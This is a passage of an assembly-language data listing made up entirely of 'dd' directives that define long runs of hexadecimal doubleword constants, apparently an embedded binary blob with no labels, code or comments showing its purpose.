2C723916h, 74F33D06h, 81608060h dd 0ABB00D7h, 0AB527D32h, 0E007618h, 7FB021EFh, 0D3149Dh dd 6830173Ch, 58E4D61Eh, 0CF315D0Fh, 0AE001DACh, 2B420F40h dd 0D56E2860h, 63C60074h, 6F0E4541h, 1C002CF2h, 8B6553E3h dd 0CC3C1C7h, 5769FEE9h, 502F2B8h, 67FC8FD2h, 74040D4h dd 59C90290h, 0E9C7865Ah, 3300C044h, 4F614B08h, 7422F7EEh dd 0C5EA0F24h, 0D940F983h, 869D6C3Bh, 6F1F2D00h, 1CE035FCh dd 0C1720041h, 0DD31B8Bh, 9B28A7CBh, 0FE70A276h, 0F4894500h dd 2C64CFE8h, 2E1BF433h, 186DFBEh, 0D7C769D4h, 0D5818C8Eh dd 57E1F3h, 0FE0D415Bh, 0CAD45A14h, 8CCC354h, 1C2C0C3Dh dd 238F8218h, 416A8022h, 44D4793Bh, 5DB08E55h, 0BA1D3600h dd 0CBB51E50h, 0E39A0E81h, 72000E5Ch, 99FF6D5Eh, 0E9CE13Eh dd 1B2D70h, 1DD9B960h, 1BEEF89Eh, 18E0B480h, 261069D0h dd 47FA3001h, 17FB88E5h, 1337AE0h, 1E1375EAh, 981B0A0Bh dd 5A21ED09h, 0EBEA004Ah, 86A89457h, 62000974h, 0A9A09C31h dd 18FF7C5Eh, 309A2629h, 0FA0CDD83h, 18EC0CF8h, 302EF864h dd 46210BCFh, 3150AF37h, 2B19FEE1h, 49084F8Dh, 5F412184h dd 0A38DC0AFh, 0FD1E08CFh, 0AC410F48h, 21B97166h, 0B016D887h dd 3314C838h, 8CECAC68h, 0D8C2DE03h, 0FD02C9FCh, 30582418h dd 0BA60800Dh, 11233Ch, 0FB968BE2h, 7081FD8h, 0EAC53F32h dd 52F02088h, 180ECEC1h, 0C0FAD994h, 0A217AD04h, 1AA41C0Eh dd 48C40EE7h, 2BC031CEh, 3FBE7832h, 9D3E8EEEh, 56C887h dd 0F76C9E3Bh, 23D35h, 0A8223E98h, 0D3A0A385h, 0AFF61E00h dd 50D21C10h, 769A0047h, 0B4AD39B8h, 451CAA7Eh, 0F240F95Ah dd 4D021CD5h, 0C5A80087h, 145D3C69h, 0D307EF0Bh, 8A516F15h dd 0F5A750CCh, 0A6CC5980h, 0FC027A90h, 9FE88900h, 0D62638C9h dd 6C640F3Fh, 5120A4E2h, 82C1251Ah, 0DF957D06h, 41C201h dd 0DC72E3E6h, 0AD76F108h, 12D95100h, 0DAE04BC8h, 19096F9Eh dd 2048B201h, 0AFF7E02Ah, 2D0C500h, 0B18516E3h, 0EB2B0E1Dh dd 45619DECh, 80EA1952h, 0F8C0F4D0h, 0AB5879h, 4AE9047Dh dd 7F9AEE0h, 0A2BB58C7h, 4CEB37A1h, 0C699E6F0h, 19AC4371h dd 1EDB900h, 0E0EFBFA7h, 1E3B3A9Bh, 9C589E80h, 4452AEFCh dd 0CEB55A18h, 778A2170h, 9A2A00EBh, 0DA4DADD1h, 63335A3Ch dd 0A0BDA85Bh, 0EA8F237Fh, 5D473D56h, 0A1E9BC80h, 8D539C9Bh dd 2DC66F1Eh, 11EC1E40h, 0C97168Eh, 0B19B0BF8h, 4B056628h dd 0C787AE0Fh, 9EA777C1h, 301D18A4h, 0E6032B49h, 18F35A0Eh dd 2D65C3A9h, 774AE0A2h, 0D3CD0F05h, 536CEF0Fh, 0C71E7ED4h dd 1700F49Ah, 0E993647Bh, 4BD901D8h, 0D5ACBA18h, 318BCD7h dd 65CB2EAFh, 2010070Eh, 17D11A04h, 0B1609C30h, 0FE3E9A70h dd 64A480D0h, 665B6EDFh, 0AD750110h, 0D5274897h, 258086E4h dd 0CB1AF73h, 0A35B77BEh, 470099E0h, 85EBC6DAh, 18F08FDBh dd 10C7C39Fh, 0EF7CF3BAh, 0F2BEBF00h, 18FA38F8h, 167500EDh dd 0C621975Dh, 64008B9Fh, 8C19D204h, 0A83958h, 473DDF11h dd 0B9090ED1h, 80279E3Ah, 0B064F697h, 8F722Eh, 3ECDEB2Fh dd 7FC92524h, 401F1A1Ch, 0E1751340h, 364CB1h, 0F9B44197h dd 0F216E9DDh, 62FD7F26h, 6FF84300h, 78667C1h, 0EF17756Ch dd 0B898C0E9h, 0C0007E21h, 0C69FA599h, 14948CA9h, 0D28EF2E8h dd 0A3383600h, 0EA9E05FEh, 9A59AB0Eh, 0A616080h, 1FF7A44Ch dd 7C7B3Fh, 3C057EA0h, 20006DD8h, 0EC1557CAh, 1071AE5h dd 27443335h, 0CDA52DDAh, 0F4F20B6h, 55008B7Dh, 66A64F96h dd 90EF8FD7h, 253E00BBh, 7A332F10h, 69E6302Ch, 0F342D000h dd 862A4DB7h, 76E53FA7h, 0C095E91Dh, 57CBF00Ah, 810BE7C7h dd 4F42DFh, 7AA10CC3h, 0C1610684h, 0F06B639Fh, 112A8005h dd 0DC40A833h, 8392E3D8h, 69E400E9h, 0E913F94h, 1298765Dh dd 0C063AE1Dh, 0ECDFD4h, 2A06FC6h, 0FB24EEAh, 0C25E9D53h dd 0AD383F20h, 6A00F625h, 2962390Dh, 0A2DE66h, 0EDFF91DDh dd 3B6450E0h, 0E4192500h, 7EEA7695h, 0BAC600E1h, 0DF77F7CAh dd 92008757h, 31DD119Eh, 18D6183h, 0F01A4A2Eh, 0F3B0120Eh dd 2552F7A9h, 0B358E440h, 118E6E00h, 9AFA0F69h, 1C90725Ah dd 6425B9h, 0B23CCC0Bh, 5E00D1BDh, 6CE0D471h, 34906Fh dd 0A619B13Fh, 0BE4AA38h, 20424F02h, 60D21165h, 5629ABEh dd 5298F41h, 8AC079Fh, 1C9670D9h, 145A68BAh, 0F80000E8h dd 3D7FE6ECh, 0AC0064B0h, 6277F039h, 3E969038h, 0EF003C45h dd 0FFC05442h, 0A4A08720h, 1600A06Dh, 0B0916EDEh, 5DBEBAh dd 9711403Bh, 65CC2119h, 8B06C600h, 0CD2C4B44h, 0E9C90352h dd 6F88F122h, 0D8B68D98h, 0CC88952h, 0A8CD78A9h, 3C80C0EFh dd 0A29EEC29h, 6A008DE0h, 0CE268343h, 0DEB9C8h, 25C6A911h dd 0DA2D7E1Eh, 0C28CF012h, 58BDE446h, 168F00C8h, 0EEFD96Ah dd 98A03DB5h, 0E8001496h, 2B90E250h, 1574E6EDh, 0A8219D80h dd 0F7C60600h, 0ACB5127Ch, 0FAE29C00h, 11CF1ABFh, 6E440201h dd 93E1223Ch, 0EF7B3440h, 6CE85200h, 0C8C7AA21h, 0AD0D0092h dd 18355589h, 70008D06h, 5CAE3EE5h, 19FA67h, 5F88DED0h dd 0A659207Dh, 260C3704h, 0A8802B24h, 1DF2DB0h, 0C24E7C0Ah dd 70078D96h, 0AB0324B9h, 27BBF444h, 2CD8E020h, 0C80B03CBh dd 19DE5C49h, 0C33334E8h, 40EF8700h, 24F9C66Bh, 0F860E4F7h dd 410700D6h, 2D1EBF14h, 9A017A3Bh, 64668B40h, 0D0F8061Bh dd 6AAA0072h, 0BE090AEAh, 8300910Dh, 6B2A07E2h, 1E4ACA8Dh dd 0FFAE8B99h, 94007D3Eh, 2EBEE59Bh, 89026FA8h, 0DF223111h dd 0D390E01Ah, 0CBCD1F0Eh, 0A7C9C0CCh, 69B2F033h, 0DC9A6D09h dd 38C001D5h, 0E9606E14h, 0ECA7396h, 6806391Fh, 7D405020h dd 2FE6C5F8h, 57B3530Ch, 858829h, 0AE18984Ah, 0D73556D3h dd 0A8287817h, 3CBC00BFh, 0B04574E2h, 6047AA3Ah, 0CFEBD121h dd 0ABF70101h, 1A8EE1A1h, 26FB70CDh, 0D063CA3Ch, 7A600FADh dd 0CCD8F830h, 3B3F6D3h, 668D2783h, 6AA81E12h, 5E0039BEh dd 19A1E385h, 0A534FAh, 0DB3BE8C8h, 8AAE8C50h, 0F503FD00h dd 69D6B582h, 3ED90063h, 2DFEA587h, 2A000B1Ch, 2C0F2749h dd 3A34D1FCh, 0F6800113h, 0F46B8BEDh, 71050E92h, 1E0865C0h dd 3D33E680h, 13B7010Fh, 0D9744FC2h, 7C3C803Ch, 0F026961Ah dd 0C88C00A4h, 847FD386h, 9A003802h, 7DD80FA8h, 0EA3380C3h dd 0EE2F0072h, 81D0B279h, 15F0AE93h, 0D6454B00h, 0CD24677h dd 0BF7D0098h, 3B4A926h, 5304E574h, 93FCB733h, 9D20088h dd 0EE1BC6Ah, 64EB805Dh dd 0A45E0335h, 8E0F00ECh, 6AF3AC33h, 0F5030501h, 3AEF73A4h dd 2CE7D8F8h, 0D680157h, 390689B1h, 3D002A1Fh, 97771B87h dd 3ED7763Eh, 5680E0A9h, 0B201CE5Ch, 190765A3h, 648A0447h dd 6B38F490h, 13D702Eh, 0D53AD697h, 401D96AEh, 0A62A26D4h dd 33BFC00h, 67EB4E01h, 9DF200BCh, 0CE885A8Eh, 39038B9Ch dd 6F26A086h, 32D79927h, 1009C8h, 0C01915D5h, 62A3B904h dd 0AFC42F01h, 0A4BBD2Ch, 1E8D6080h, 0EB16E58Eh, 597B3D00h dd 8C90569h, 38A81BD4h, 0EC818994h, 0A30BC3Dh, 0ED7126C0h dd 55032E1Dh, 0E18E01BDh, 0A8F34EC2h, 6AD10Fh, 0D9169461h dd 9FD4B0EBh, 0F202058h, 45A2374Eh, 0CB0E27BFh, 15C03CC1h dd 0F23DCA17h, 2B460083h, 0DF1A086Bh, 0BF061F94h, 0C2A012AEh dd 0C0C56228h, 881054EAh, 0FAF6248Ch, 0FEED07D9h, 61C74532h dd 90F41660h, 720161E0h, 6B253A3Bh, 0C22DF82Ch, 50B85FFCh dd 4D26E0A0h, 0A0A2CF00h, 9F9870B6h, 0E80F03F4h, 7BE012B3h dd 0F6EF0788h, 412AF200h, 0FD0DF71Ch, 0F4BC00CBh, 0B142336Bh dd 4D1F7EE8h, 0E00708F8h, 0A1C0821Bh, 5151CCC2h, 9880BA20h dd 0B0B937B1h, 3400D7A4h, 5EA646F1h, 155A705h, 81F804B3h dd 40F57733h, 0F06AA1BCh, 6B601190h, 56E54710h, 0DEC0036Fh dd 0B6AA0971h, 0D452082Ah, 56BCEA00h, 9050F2A3h, 3ADD0165h dd 5DF5707h, 8D8C5088h, 0C618295Fh, 7D110935h, 9FAC0514h dd 0C11695C0h, 0D115FD04h, 8DCC402Fh, 0AC000E4Ah, 0A64BF1F4h dd 3C60319h, 3D27D793h, 50238817h, 0AC1000BAh, 15F5C0ABh dd 0F85E8085h, 0CE8707BEh, 1984AF00h, 1CFEBD95h, 23940008h dd 76CD5D1Dh, 0F4064139h, 6C92A48Dh, 0A2707E0h, 9006C9B3h dd 0ED3D6A09h, 1708D165h, 0AABBB040h, 1B79CAh, 0FE0D7FD5h dd 0FC21E6A5h, 0DFE141C0h, 34A0A06h, 1EAFB693h, 9AA8AB2Ah dd 0E77E264Dh, 0EE20C01h, 2BC7F95h, 5D1C8083h, 9000B0F5h dd 2DE14D87h, 9691A5h, 0F8EDC233h, 19CFD576h, 3CAB7C00h dd 48302C50h, 1856007Ah, 0E71FD60h, 0D4005CA0h, 22249047h dd 26D12B3Bh, 79BAB7h, 2C1149CEh, 9200BDAAh, 54E60C52h dd 3DE285h, 2820B514h, 4F03BE3Ch, 4E8BAB03h, 0E2E92B3Ah dd 0A104BE3Bh, 10804876h, 0DBE444A8h, 0F800C516h, 0E3634AC4h dd 9074BDC3h, 4C87018Ah, 7AA8E771h, 242990E1h, 44C03184h dd 0DC445F73h, 424048D7h, 1F26D067h, 95730051h, 5DE8A532h dd 0A4003778h, 6D02F3FAh, 8728E5h, 46D29921h, 14FC3E6Eh dd 20EF89B8h, 6C03DDD0h, 0F434FBC4h, 2E7A001Bh, 0FEF3C57Ch dd 0EF0658ADh, 743323D0h, 3E4300F1h, 1B174755h, 0A7007511h dd 22546245h, 2A969h, 51C1ADE7h, 772B1B0Dh, 0C4009F76h dd 0F8B805F5h, 74B98512h, 9C9500FBh, 8AD3758h, 0AE2515B3h dd 3F30D461h, 0D3EE2A00h, 383B3EE4h, 67B56300h, 2F9D597Ch dd 0ED690036h, 4517AA14h, 47008A2Ah, 3243DA74h, 637E5Fh dd 0FC1C04F6h, 4849D031h, 42B51301h, 0C9C2BA5h, 3336F0h dd 967DC8BEh, 0D397258h, 1347DB00h, 270C1A29h, 37FC1883h dd 0C96420B0h, 0F1C0A418h, 1E2F231h, 0ED327585h, 80E79C19h dd 0B1C89219h, 1CE3F96Ch, 80991697h, 327165CEh, 49021ECAh dd 0C11F2613h, 0B41140D9h, 0E3669073h, 8D72AC40h, 0B58417DEh dd 80101B95h, 0C26998F0h, 80D9683Fh, 1AD7F456h, 0B645A0h dd 4B4F5767h, 39A7C406h, 0D0916E00h, 0ADEE4063h, 0E7441E10h dd 21CE4089h, 3B1AF2D6h, 0F6C7B900h, 78A3D1D9h, 5D10015Ch dd 67AFBC1Ch, 93DBD868h, 6000E871h, 7C815561h, 2ECFDFA0h dd 0D3FF9Ah, 7235CC1Eh, 6A003EA4h, 94872EC4h, 36EAA90h dd 7848A525h, 85E08B27h, 0A000D937h, 92A3ADC8h, 45062E2h dd 870178CDh, 0CF24802Ch, 1B0008D8h, 48DB0B6Bh, 85D2B7h dd 2228E612h, 29F13589h, 2B794004h, 0B1C77A8Eh, 762EBFA0h dd 460B00DDh, 95217F99h, 0F5041D10h, 2D0390AFh, 0AAE95580h dd 5F7A4Ch, 0D96235Bh, 0A243C336h, 1B353Dh, 880EA486h dd 374D5B0h, 0AB581A78h, 0D1E89B03h, 1B1F7318h, 0C3836FA1h dd 0C8DD3F51h, 0FCB1455h, 0AF9ED452h, 5F3AA460h, 8C003460h dd 0F2506E92h, 1DBF890h, 4B9C9379h, 0F8573BB3h, 0E6000F7Ah dd 744C42C5h, 0AB407Eh, 28525DFBh, 664DCBA5h, 116B7D01h dd 173BE24Ch, 0D08E20h, 0DCF78690h, 2AF9EA7Ch, 0BFEDC600h dd 0DD9BFACDh, 2CD905DEh, 11F5FCFh, 0A1B377A8h, 0AA76CC05h dd 27DFD100h, 0F0317A7Dh, 3BEF00FAh, 41A6C07Ch, 14E40613h dd 0D5AC5E16h, 23562B00h, 7E170Eh, 95491C59h, 5C8B85Ch dd 820CA8A0h, 15BD200h, 734F8420h, 0F8B0C99Eh, 0EFAF420h dd 5800C5A6h, 0ED2453C4h, 0AA2A07h, 0EC5A6308h, 1C1D4BABh dd 12C65400h, 0BED0CCC4h, 2C1E0EDDh, 8500CAF1h, 0F3E7A33Dh dd 9B25721Ch, 0C151F500h, 3BF2AEAFh, 4184205Ah, 814AD3E6h dd 0F4E0C474h, 0A058605Eh, 0B76E007Fh, 0F889155Ah, 1B0E4h dd 414C255Fh, 0D80F4082h, 27243809h, 0F20D008Ch, 3BDB1E91h dd 7E0E8068h, 2520C4EBh, 3A06D426h, 9323F401h, 95362E08h dd 153F030h, 1F4B761Ah, 0C83A2A5Fh, 930084B3h, 0C4C2EAFBh dd 0D87779h, 4EFDACECh, 94A7C1AFh, 70002090h, 891B493Fh dd 9AA684h, 0F526ED0Eh, 0D145168Eh, 697C627Eh, 4611E400h dd 4A643284h, 0C50070Fh, 0E36851F3h, 0A8B00791h, 0B7062E02h dd 21E51C5Fh, 2D7C98h, 0D8428028h, 220EE0DFh, 0FC02A600h dd 0BC7A6BE3h, 0A19D0719h, 80C03960h, 0EBEFED23h, 2BDC2F1Dh dd 6EDBF200h, 11DC396h, 5F2A6068h, 7083FD07h, 6D006C69h dd 90512E44h, 924031h, 0BF6E6526h, 3EA08CF1h, 3AE46B00h dd 0A559EC0Dh, 0FC814BCEh, 8FD30197h, 0E21007E8h, 7C4BA60h dd 0E68C3695h, 7E7B603Bh, 0B200F901h, 0EEEC6B81h, 1B78023Eh dd 0D89287D0h, 53516490h, 82A72700h, 9BD9B17Dh, 73A400BBh dd 0C141E9DBh, 53007430h, 4A548745h, 0A9072C61h, 1023A4B4h dd 0CE44C601h, 4019469Dh, 0A3701AB8h, 0E500917Dh, 0AE661BF6h dd 7ADC42h, 3B4527D8h, 44BA748Eh, 54AA9B00h, 2F12051Fh dd 0A5723E59h, 0ECDF9481h, 0C011C230h, 0AC0060AAh, 58FD8608h dd 26EA89CDh, 3D0E84Eh, 0C64598BBh, 0C4F2ECB0h, 3BB5F90Fh dd 1C4CC063h, 757E8Dh, 0C3148A43h, 7ACBBD64h, 0E72C24B0h dd 0DC0054DBh, 20562D1Ch, 1D8DBA5Ch, 803FB485h, 4752C58Eh dd 81B86C4Eh, 0FA163400h, 8107B83Dh, 86A400ADh, 3C66A10Ch dd 2E02FC1h, 0F7F0B7h, 0A36F0F56h, 0E91242BAh, 7B964B3Fh dd 2A98E404h, 0E48CBE05h, 0AFF054h, 7F6F01FEh, 8E7D4731h dd 1FB9CF01h, 0CAC88543h, 4AEEF4h, 1AB851C0h, 960C2915h dd 439AD904h, 3F806BC2h, 0FCE5A0C6h, 3C10055h, 3F050C2Ch dd 60488245h, 546F0077h, 0A5CB9E06h, 556800E4h, 37267425h dd 8400ED3Eh, 0DFCC6139h, 3C5EA8CAh, 4E0E060Fh, 0C9E0C89Bh dd 0C21024DAh, 82040A00h, 209602A1h, 1990141h, 0CEEECC83h dd 87903045h, 57105000h, 2103E342h, 0AD0A395Ch, 0A973C100h dd 31E9CCC0h, 86D17817h, 0ED971800h, 0D7855Dh, 1F14061Eh dd 0AC49AD67h, 75450B3Dh, 2CCF8B05h, 0AC21C33h, 1D38CE4Bh dd 8713FB81h, 10A9E431h, 0AD6C8C8Ah, 0CB58A1B0h, 0AF9F0044h dd 0E9B5753Dh, 70E8A063h, 0A46A0C6Fh, 6AE8E16h, 2EB1774Bh dd 732ECA30h, 4E65001Fh dd 3C9E7C25h, 6B04D66Dh, 0DC67CD0Dh, 904624C3h, 70E7F796h dd 0A4080022h, 0B29BA106h, 94006E24h, 43D77D59h, 383BB56h dd 4A1162A7h, 0BFD08C17h, 8F00750Eh, 490A27BCh, 0BA6EA02Dh dd 86250188h, 53D76D74h, 0B3A7C487h, 44007D72h, 0DFB0156Bh dd 0A4C8D9h, 8864F274h, 9DA273C2h, 97E2BE0Bh, 9EB08192h dd 86D0E3DDh, 500F7ACEh, 2774FC9Bh, 88DCEB3Fh, 6CC54F03h dd 0D25ACB08h, 0CBDC8038h, 2816404h, 0FCF8B806h, 64C07E62h dd 5E005495h, 5DD505Bh, 757A293h, 0FA0227A9h, 2B1AC331h dd 6D71F7A8h, 0B03DC100h, 9D2A39F4h, 48DCA867h, 5AFE1DC6h dd 0BC80C101h, 0F851FC26h, 0DD054393h, 288F744Eh, 640C6480h dd 783F5931h, 4004F41Eh, 0C4BB30EEh, 970002B7h, 4D6FE991h dd 1BCF25h, 260ABF3Fh, 0AA8DFA70h, 0B8C23700h, 4C6512E9h dd 18161DC3h, 827B00CEh, 3D5F6FE6h, 97625800h, 80254B8Ch dd 0DD5100B8h, 0EE6C1B03h, 900374BDh, 69A0BE68h, 0A4DA153h dd 5579D1E8h, 75F4884Fh, 90D90088h, 7AB767Ch, 0D62586B9h dd 7EDC034Eh, 0A42290BFh, 1CE10059h, 0A86625F5h, 7401F72Ah dd 83DB07A6h, 0E9D84BD5h, 93A90042h, 2B78300Ch, 0E2005AD0h dd 35CC201Bh, 83714Ch, 99464CFh, 39218D1Fh, 4B5FBD3Ch dd 41148800h, 0F3DB246h, 1A103E76h, 22803ACFh, 0BCE3667Eh dd 1E118160h, 40CEB877h, 90AE924h, 0B7727F57h, 19F560Fh dd 9C051196h, 134330h, 22FE45D6h, 23B80C3Dh, 0C3348A00h dd 0BE1884ADh, 88A125AFh, 0AE3B3000h, 0E3632460h, 0B7D77CECh dd 0CEE56240h, 46522A6Ah, 6EBA288Ch, 0F26EE5Ch, 0B3C20769h dd 53E77160h, 0A1174BFEh, 0E009270h, 562E482Ch, 609A1D4Fh dd 262F01A8h, 0D00F3677h, 451252CFh, 0EC1C2DE8h, 1EA34980h dd 0ECAF417Fh, 9A9100E2h, 35C0822Fh, 4700B933h, 0EBC54070h dd 3A325AD4h, 23801ADCh, 0FC1B9E56h, 9099D22h, 514560h dd 41B4B7D9h, 0B1A26190h, 0C040FC15h, 310028DCh, 2908EFC4h dd 0DB1C5h, 0A1B211B4h, 221E807Ch, 4AB33B00h, 413F8605h dd 805B509Ah, 94AA38A1h, 0A0E2AEh, 781D476Ah, 630C7D27h dd 681EC219h, 8FB0E9h, 268150A3h, 0A6FF9BDBh, 9D001A7Bh dd 3D691401h, 0E5C607h, 0AEF6C043h, 798095B6h, 0EBBFA100h dd 0B85AD763h, 0C07702CDh, 5F29C5DBh, 9930C0A1h, 2638C407h dd 6450F400h, 0E57A8DF5h, 13FD0056h, 5EE61FC5h, 0A40EAC73h dd 0C05A6350h, 452AB0FFh, 16713CF6h, 10AEC299h, 0C3045AC4h dd 2BB9BDh, 1602610h, 25BFA475h, 26E35758h, 1C00DC3Dh dd 29C7BD47h, 18C47313h, 2874F83Eh, 0A78056A9h, 0C2C800CAh dd 15250D33h, 5F004758h, 0B38A1651h, 36DD297h, 0EBE60FE8h dd 78A86AF5h, 371F2ECFh, 0FF400640h, 0B2A85F66h, 0FDDF003Ch dd 36BBBCCDh, 1B00286Dh, 96213B2Fh, 0B03951F6h, 0FEB60010h dd 3762DD02h, 6C0047A9h, 0F577B843h, 0C283EDh, 0FFA03BCCh dd 0C0D24B5Fh, 9F006075h, 0E05CF04Fh, 71A4813h, 0BFAB5E7Bh dd 913DD0B6h, 0F63CB32Fh, 0F8A200C8h, 3EA5EE2Eh, 8299002Dh dd 228EB749h, 970047C2h, 17719EE2h, 50968BE3h, 5DA4A2h dd 0ECDEED07h, 0CDB7A90Ch, 0DB00E075h, 4ECB5FC4h, 52A437h dd 327C9B43h, 0DDC5C3D0h, 0F33DEA00h, 663C12CDh, 89951D7Eh dd 37807BF1h, 0D52E4DD4h, 0CA00526Bh, 0C6286EAFh, 0EC7FF9h dd 0DDD435F4h, 9A8C5ACEh, 50B8A67Ah, 15D3807h, 0DE5099C2h dd 0A5F0CFh, 612B83C4h, 0EB66D287h, 27C0400h, 56C5D5A4h dd 78DFB037h, 100C00A2h, 0AE3D663Bh, 0A700C9B8h, 90D1D91Ch dd 267AD0Eh, 0BF826175h, 18404222h, 0D20046CEh, 8FEA9533h dd 0C1DDF6h, 7688A8CDh, 1CDEE67Fh, 0F8AE3100h, 0A78A2D9Dh dd 5C1D000Bh, 99DCDDFEh, 84072829h, 4767EE7h, 0FAF183E0h dd 4AB63E56h, 0EDF6D282h, 0F0A03D54h, 0DCFD7B39h, 0CC0C2F1Eh dd 575F7840h, 2E8A1F17h, 6595D5h, 7E4831E7h, 440B2EA4h dd 80060759h, 0F0CADD0Ch, 73B81374h, 813900DEh, 19EEAD22h dd 0BA27110Bh, 4FD00060h, 1B51C16h, 0DA610709h, 0CA2BD337h dd 1BA64440h, 4DA3B700h, 0CAE7CDD7h, 31541D39h, 75EC212h dd 442B3CCh, 19E06980h, 2C00F264h, 6998264Eh, 6FEF0Bh dd 0FC9BF7BDh, 157F700Dh, 0EC53A700h, 58FF480h, 293600A9h dd 226C10CFh, 0E900B67Dh, 0E14787D2h, 5C9AAA69h, 4800643Ah dd 1AECC0ACh, 0F9C08FBFh, 79D3547Bh, 93070033h, 0C28592F6h dd 720F4EF3h, 801BED4Ch, 0BC8CADD4h, 7804002Bh, 0C87ACE31h dd 511F93CBh, 0DECEE96Eh, 80B9C0AAh, 1C8CEEB3h, 43248DE7h dd 0B6575DA2h, 5520E8E0h, 3CFB9A04h, 0BAC4C099h, 0E3272480h dd 97E900DDh, 0A71B4DE7h, 6F0023C3h, 9D5F968Dh, 0EE9808F2h dd 72617EE6h, 5854001Ah, 5B1D6E4Eh, 6BF00F62h, 462C9800h dd 31FBDC83h, 7BCF73A2h, 49FCEBh, 6D5902A6h, 403EFF89h dd 390B171Eh, 11B11801h, 35C8672Fh, 0B4EA00BDh, 6F53FFEBh dd 0B82FB5E7h, 20E7001h, 818C9016h, 60404583h, 460E5D04h dd 614DCB57h, 683470E9h, 0BC9780DFh, 1D0905Eh, 0A6D2E237h dd 0D8A46D04h, 0F4EE7B08h, 0FEDE9300h, 3AC4741h, 0C1F300AAh dd 0CCA36827h, 444C5E09h, 799D3DB0h, 0BDE44813h, 56D50800h dd 7C781562h, 0D157511Ah, 929830h, 0E8536336h, 18B305C5h dd 0AA04357Fh, 66E7C3D4h, 70DF5C88h, 78AD0AA0h, 0FCB75Eh dd 0A5EB50A9h, 0BE036697h, 0E1373D7Eh, 2068E00Eh, 5352006Fh dd 8B26DD16h, 8900816Bh, 448407BDh, 608DB0h, 693223CFh dd 11C54791h, 0BDABBE01h, 0E7BFED2Ah, 181E13E0h, 0FA891498h dd 0B4006D1Fh, 1928DF0Ch, 529E87h, 6A90E31Bh, 0D447B65Bh dd 2D006798h, 29D20B86h, 26AC14h, 606115FDh, 4B192051h dd 844F0D3Dh, 0C3F0CE9Ah, 1A472080h, 49D00A8h, 0F8F2026Ch dd 36003FA7h, 781268B6h, 0CBCE70h, 564B86EFh, 0B715B1A5h dd 0DEE7C900h, 69F14E5h, 51D51F4Fh, 6D10025Ch, 0DC402BDCh dd 0DD98FA48h, 61592107h, 7AE5E757h, 1ECF32C1h, 0E0C7C8h dd 9FF60A6Fh, 504F6BE1h, 0A15DDC12h, 0EE526000h, 72BA7565h dd 0E8F40017h, 9E2DB6C1h, 0A1482A03h, 53E1EA8h, 9108240h dd 1B60EC7h, 99D097CCh, 0E0AA0FB3h, 95126C4Fh, 18004744h dd 0F0FBE818h, 3CE026h, 9CCF5751h, 0AEEA7D6Dh, 460054FCh dd 0D2F68CB6h, 7FBE1E31h, 9F090038h, 3BD1A313h, 0FB12CEC9h dd 640A37EDh, 1503C451h, 0F375CAE4h, 0F2AC8B6h, 222300A2h dd 73879881h, 3200556Dh, 0A814D517h, 0FF723Ch, 54AC49C7h dd 0DE7C8E43h, 806D333Dh, 74044B8Bh, 0EDD83Bh, 4009AD9Dh dd 6FFE9779h, 7B3C5A00h, 0D7BB46DDh, 2AFB0916h, 3E0055D3h dd 0A7203B26h, 4552F102h, 60EBAD34h, 93A11Ch, 0C0CF8996h dd 0F97D43CCh, 4881101h, 0EC219859h, 7344CCh, 9D205D34h dd 0F3C5ED0Bh, 68AB9E03h, 6BAC81h, 94A10F51h, 0D3969A0Eh dd 44115C00h, 0B2924A7Eh, 7240006Ch, 4CAAC6CDh, 520086FFh dd 0EE977D10h, 0D0EA35h, 0F1590848h, 7756BB8Ch, 99EDD38h dd 3E1C45h, 7D6C21EEh, 5552006Dh, 0D8112069h, 8003C7EBh dd 66A63999h, 152A00D5h, 717656EAh, 0CD001F5Dh, 3D8919F7h dd 0DDB50Bh, 0BCFF5077h, 0F2B06A4Bh, 0EB349500h, 25CDF141h dd 11A10024h, 3C8C7703h, 0FD7DC793h, 9281E200h, 30BFDEF9h dd 0A1418B4h, 79E46913h dd 68317E00h, 654F595Bh, 2CDD7CABh, 1F8215E7h, 92CF4E10h dd 916F8E61h, 0B072D0D5h, 4012A532h, 329FC0E7h, 7E190E9Eh dd 0FD8D69h, 1FFAA77Ch, 0AA075F99h, 252EA661h, 29BB4340h dd 0D0B0037Eh, 10599112h, 0B18C8907h, 948ED67Dh, 7BBD0040h dd 35C8A4C3h, 792100B3h, 0B7143069h, 100051B4h, 3E0C7291h dd 602312DBh, 6669A0DFh, 40C0319Fh, 0B42045EAh, 0D0D728CBh dd 8A6E0058h, 19E81D4Bh, 4400F8A6h, 4D30286Fh, 0C86973h dd 0DF4C51EAh, 1127A378h, 41A5EC00h, 0A9B1D7C4h, 7BC2011Eh dd 6033066Eh, 4FF1E0D5h, 2B7998FEh, 515FBB00h, 171173E8h dd 307A00DCh, 7BDF8589h, 80F22E14h, 0D3A51500h, 33CB476Fh dd 0B26C0E0Ch, 9D63463Eh, 0A08F6281h, 7DF288B4h, 8E34853Bh dd 0EA6B330Eh, 0C0838CE5h, 0E957D790h, 0A050385Eh, 1467944h dd 0D582D3C3h, 0F0840DB4h, 950FFCB2h, 6665503Ah, 2E40DE45h dd 31B9C4h, 0CFBAEDEBh, 5F0A2986h, 9C30400Fh, 0DC00EC9Fh dd 27CAF090h, 657400E1h, 6623A6ACh, 3F3A6A44h, 3B508EB8h dd 496DE146h, 54CC9EC3h, 5B4B1D5Fh, 0D28E1F31h, 345F00AFh dd 81661047h, 287C701h, 0ECFD6B1h, 0A81819BFh, 6BEC208Ah dd 0EB153C02h, 93079046h, 55ABD8h, 85B98B98h, 0F2F1409Ah dd 0D378870Ah, 2130E86Dh, 2498166Ah, 7F59B9h, 0D1250B4h dd 4C0CF775h, 0D8F29B64h, 0B13834D6h, 0AF6EC130h, 0F4C3F846h dd 0DC43C800h, 84FB6C95h, 6B7478h, 0C48E4C6Dh, 37E9A719h dd 8FCC8B1Dh, 7C14D5Eh, 793CF32Ah, 3969AA70h, 0ECF4A803h dd 42FC07A3h, 0C15D6340h, 8041558Ch, 886BFB18h, 4D4A47h dd 51C289F6h, 0B4260B77h, 61FE0400h, 7B570BEh, 0B38C3BECh dd 86253606h, 6360E6FCh, 0A9E46990h, 7B711C96h, 0BAC90755h dd 607EC6FAh, 8167EE7Ah, 66AF6930h, 74D176E8h, 0DDE680C1h dd 0B7F13F01h, 68037AE0h, 0C1E744F0h, 7535FA29h, 0D44D6085h dd 696D138h, 644FBBCFh, 0D70D0120h, 8C6BC4E5h, 6A68988Bh dd 0F21FB219h, 0FE311BDEh, 1E080F5h, 8600B7A2h, 0D745D1A9h dd 0FABBEB78h, 162E283Bh, 430D05B0h, 0C5ECC44h, 1839F7A0h dd 1A004EE2h, 0CA2351CDh, 1CE34C86h, 4136981Bh, 3EEA5443h dd 7087D29Dh, 97A03024h, 78177092h, 